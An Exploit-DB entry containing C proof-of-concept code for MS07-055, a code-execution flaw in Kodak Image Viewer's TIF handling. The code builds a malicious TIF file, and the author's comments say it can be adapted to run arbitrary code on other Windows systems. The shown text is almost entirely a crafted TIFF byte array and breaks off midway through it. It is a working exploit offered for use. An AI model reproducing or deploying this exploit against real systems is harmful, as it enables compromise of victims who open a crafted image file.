Exploit-DB #4584
Description: Kodak Image Viewer - TIF/TIFF Code Execution (MS07-055)
Type: local
Platform: windows
Date: 2007-10-29
Author: Gil-Dong / Woo-Chi

Exploit:
/* MS07-055 Kodak Image Viewer TIF/TIFF Code Execution Proof Of Concept 
   by Hong Gil-Dong, Jeon Woo-chi 

 * Hwang-Hee(?~1542), Prime Minister in Korea
 * Once upon a time, One servant of Hwang-Hee was arguing with another
 * servant. they asked Hwang-Hee to judge who is right.
 * Hwang-Hee listend their story, and said "Both are right".

 * We tested this code on Windows 2000 SP4 Korean Edition.
 * But if you change some parts of this code, you can also execute an 
 * arbitrary code in other systems.
 
 * - Caution -
 * First, execute the Kodak Image Viewer and then open the ms07-005.tif 
 * file. If you click the ms07-005.tif file directly in explorer, 
 * sometimes it causes not excution but just crash.
 */

#include <stdio.h>
#define TIF_FILE "ms07-055.tif"

unsigned char tif1[] ={
	0x49,0x49,0x2A,0x00,0x90,0x3E,0x00,0x00,0x80,0x3F,0xE0,0x50,
	0x38,0x24,0x16,0x0D,0x07,0x84,0x42,0x61,0x50,0xB8,0x64,0x36,
	0x1D,0x0F,0x88,0x44,0x62,0x51,0x38,0xA4,0x56,0x2D,0x17,0x8C,
	0x46,0x63,0x51,0xB8,0xE4,0x76,0x3D,0x1F,0x90,0x48,0x64,0x52,
	0x39,0x24,0x96,0x4D,0x27,0x94,0x4A,0x65,0x52,0xB9,0x64,0xB6,
	0x5D,0x2F,0x98,0x4C,0x66,0x53,0x39,0xA4,0xD6,0x6D,0x37,0x9C,
	0x4E,0x67,0x53,0xB9,0xE4,0xF6,0x7D,0x3F,0xA0,0x50,0x68,0x54,
	0x3A,0x25,0x16,0x8D,0x47,0xA4,0x52,0x69,0x54,0xBA,0x65,0x36,
	0x9D,0x4F,0xA8,0x54,0x6A,0x55,0x3A,0xA5,0x56,0xAD,0x57,0xAC,
	0x56,0x6B,0x55,0xBA,0xE5,0x76,0xBD,0x5F,0xB0,0x58,0x6C,0x56,
	0x3B,0x25,0x96,0xCD,0x67,0xB4,0x5A,0x6D,0x56,0xBB,0x65,0xB6,
	0xDD,0x6F,0xB8,0x5C,0x6E,0x57,0x3B,0xA5,0xD6,0xED,0x77,0xBC,
	0x5E,0x6F,0x57,0xBB,0xE5,0xF6,0xFD,0x7F,0xC0,0x60,0x70,0x58,
	0x3C,0x26,0x17,0x0D,0x87,0xC4,0x62,0x71,0x58,0xBC,0x66,0x37,
	0x1D,0x8F,0xC8,0x64,0x72,0x59,0x3C,0xA6,0x57,0x2D,0x97,0x96,
	0x40,0x40,0x80,0x3F,0xE0,0x50,0x38,0x24,0x16,0x0D,0x07,0x84,
	0x42,0x61,0x50,0xB8,0x64,0x36,0x1D,0x0F,0x88,0x44,0x62,0x51,
	0x38,0xA4,0x56,0x2D,0x17,0x8C,0x46,0x63,0x51,0xB8,0xE4,0x76,
	0x3D,0x1F,0x90,0x48,0x64,0x52,0x39,0x24,0x96,0x4D,0x27,0x94,
	0x4A,0x65,0x52,0xB9,0x64,0xB6,0x5D,0x2F,0x98,0x4C,0x66,0x53,
	0x39,0xA4,0xD6,0x6D,0x37,0x9C,0x4E,0x67,0x53,0xB9,0xE4,0xF6,
	0x7D,0x3F,0xA0,0x50,0x68,0x54,0x3A,0x25,0x16,0x8D,0x47,0xA4,
	0x52,0x69,0x54,0xBA,0x65,0x36,0x9D,0x4F,0xA8,0x54,0x6A,0x55,
	0x3A,0xA5,0x56,0xAD,0x57,0xAC,0x56,0x6B,0x55,0xBA,0xE5,0x76,
	0xBD,0x5F,0xB0,0x58,0x6C,0x56,0x3B,0x25,0x96,0xCD,0x67,0xB4,
	0x5A,0x6D,0x56,0xBB,0x65,0xB6,0xDD,0x6F,0xB8,0x5C,0x6E,0x57,
	0x3B,0xA5,0xD6,0xED,0x77,0xBC,0x5E,0x6F,0x57,0xBB,0xE5,0xF6,
	0xFD,0x7F,0xC0,0x60,0x70,0x58,0x3C,0x26,0x17,0x0D,0x87,0xC4,
	0x62,0x71,0x58,0xBC,0x66,0x37,0x1D,0x8F,0xC8,0x64,0x72,0x59,
	0x3C,0xA6,0x57,0x2D,0x97,0x96,0x40,0x40,0x80,0x3F,0xE0,0x50,
	0x38,0x24,0x16,0x0D,0x07,0x84,0x42,0x61,0x50,0xB8,0x64,0x36,
	0x1D,0x0F,0x88,0x44,0x62,0x51,0x38,0xA4,0x56,0x2D,0x17,0x8C,
	0x46,0x63,0x51,0xB8,0xE4,0x76,0x3D,0x1F,0x90,0x48,0x64,0x52,
	0x39,0x24,0x96,0x4D,0x27,0x94,0x4A,0x65,0x52,0xB9,0x64,0xB6,
	0x5D,0x2F,0x98,0x4C,0x66,0x53,0x39,0xA4,0xD6,0x6D,0x37,0x9C,
	0x4E,0x67,0x53,0xB9,0xE4,0xF6,0x7D,0x3F,0xA0,0x50,0x68,0x54,
	0x3A,0x25,0x16,0x8D,0x47,0xA4,0x52,0x69,0x54,0xBA,0x65,0x36,
	0x9D,0x4F,0xA8,0x54,0x6A,0x55,0x3A,0xA5,0x56,0xAD,0x57,0xAC,
	0x56,0x6B,0x55,0xBA,0xE5,0x76,0xBD,0x5F,0xB0,0x58,0x6C,0x56,
	0x3B,0x25,0x96,0xCD,0x67,0xB4,0x5A,0x6D,0x56,0xBB,0x65,0xB6,
	0xDD,0x6F,0xB8,0x5C,0x6E,0x57,0x3B,0xA5,0xD6,0xED,0x77,0xBC,
	0x5E,0x6F,0x57,0xBB,0xE5,0xF6,0xFD,0x7F,0xC0,0x60,0x70,0x58,
	0x3C,0x26,0x17,0x0D,0x87,0xC4,0x62,0x71,0x58,0xBC,0x66,0x37,
	0x1D,0x8F,0xC8,0x64,0x72,0x59,0x3C,0xA6,0x57,0x2D,0x97,0x96,
	0x40,0x40,0x80,0x3F,0xE0,0x50,0x38,0x24,0x16,0x0D,0x07,0x84,
	0x42,0x61,0x50,0xB8,0x64,0x36,0x1D,0x0F,0x88,0x44,0x62,0x51,
	0x38,0xA4,0x56,0x2D,0x17,0x8C,0x46,0x63,0x51,0xB8,0xE4,0x76,
	0x3D,0x1F,0x90,0x48,0x64,0x52,0x39,0x24,0x96,0x4D,0x27,0x94,
	0x4A,0x65,0x52,0xB9,0x64,0xB6,0x5D,0x2F,0x98,0x4C,0x66,0x53,
	0x39,0xA4,0xD6,0x6D,0x37,0x9C,0x4E,0x67,0x53,0xB9,0xE4,0xF6,
	0x7D,0x3F,0xA0,0x50,0x68,0x54,0x3A,0x25,0x16,0x8D,0x47,0xA4,
	0x52,0x69,0x54,0xBA,0x65,0x36,0x9D,0x4F,0xA8,0x54,0x6A,0x55,
	0x3A,0xA5,0x56,0xAD,0x57,0xAC,0x56,0x6B,0x55,0xBA,0xE5,0x76,
	0xBD,0x5F,0xB0,0x58,0x6C,0x56,0x3B,0x25,0x96,0xCD,0x67,0xB4,
	0x5A,0x6D,0x56,0xBB,0x65,0xB6,0xDD,0x6F,0xB8,0x5C,0x6E,0x57,
	0x3B,0xA5,0xD6,0xED,0x77,0xBC,0x5E,0x6F,0x57,0xBB,0xE5,0xF6,
	0xFD,0x7F,0xC0,0x60,0x70,0x58,0x3C,0x26,0x17,0x0D,0x87,0xC4,
	0x62,0x71,0x58,0xBC,0x66,0x37,0x1D,0x8F,0xC8,0x64,0x72,0x59,
	0x3C,0xA6,0x57,0x2D,0x97,0x96,0x40,0x40,0x80,0x3F,0xE0,0x50,
	0x38,0x24,0x16,0x0D,0x07,0x84,0x42,0x61,0x50,0xB8,0x64,0x36,
	0x1D,0x0F,0x88,0x44,0x62,0x51,0x38,0xA4,0x56,0x2D,0x17,0x8C,
	0x46,0x63,0x51,0xB8,0xE4,0x76,0x3D,0x1F,0x90,0x48,0x64,0x52,
	0x39,0x24,0x96,0x4D,0x27,0x94,0x4A,0x65,0x52,0xB9,0x64,0xB6,
	0x5D,0x2F,0x98,0x4C,0x66,0x53,0x39,0xA4,0xD6,0x6D,0x37,0x9C,
	0x4E,0x67,0x53,0xB9,0xE4,0xF6,0x7D,0x3F,0xA0,0x50,0x68,0x54,
	0x3A,0x25,0x16,0x8D,0x47,0xA4,0x52,0x69,0x54,0xBA,0x65,0x36,
	0x9D,0x4F,0xA8,0x54,0x6A,0x55,0x3A,0xA5,0x56,0xAD,0x57,0xAC,
	0x56,0x6B,0x55,0xBA,0xE5,0x76,0xBD,0x5F,0xB0,0x58,0x6C,0x56,
	0x3B,0x25,0x96,0xCD,0x67,0xB4,0x5A,0x6D,0x56,0xBB,0x65,0xB6,
	0xDD,0x6F,0xB8,0x5C,0x6E,0x57,0x3B,0xA5,0xD6,0xED,0x77,0xBC,
	0x5E,0x6F,0x57,0xBB,0xE5,0xF6,0xFD,0x7F,0xC0,0x60,0x70,0x58,
	0x3C,0x26,0x17,0x0D,0x87,0xC4,0x62,0x71,0x58,0xBC,0x66,0x37,
	0x1D,0x8F,0xC8,0x64,0x72,0x59,0x3C,0xA6,0x57,0x2D,0x97,0x96,
	0x40,0x40,0x80,0x3F,0xE0,0x50,0x38,0x24,0x16,0x0D,0x07,0x84,
	0x42,0x61,0x50,0xB8,0x64,0x36,0x1D,0x0F,0x88,0x44,0x62,0x51,
	0x38,0xA4,0x56,0x2D,0x17,0x8C,0x46,0x63,0x51,0xB8,0xE4,0x76,
	0x3D,0x1F,0x90,0x48,0x64,0x52,0x39,0x24,0x96,0x4D,0x27,0x94,
	0x4A,0x65,0x52,0xB9,0x64,0xB6,0x5D,0x2F,0x98,0x4C,0x66,0x53,
	0x39,0xA4,0xD6,0x6D,0x37,0x9C,0x4E,0x67,0x53,0xB9,0xE4,0xF6,
	0x7D,0x3F,0xA0,0x50,0x68,0x54,0x3A,0x25,0x16,0x8D,0x47,0xA4,
	0x52,0x69,0x54,0xBA,0x65,0x36,0x9D,0x4F,0xA8,0x54,0x6A,0x55,
	0x3A,0xA5,0x56,0xAD,0x57,0xAC,0x56,0x6B,0x55,0xBA,0xE5,0x76,
	0xBD,0x5F,0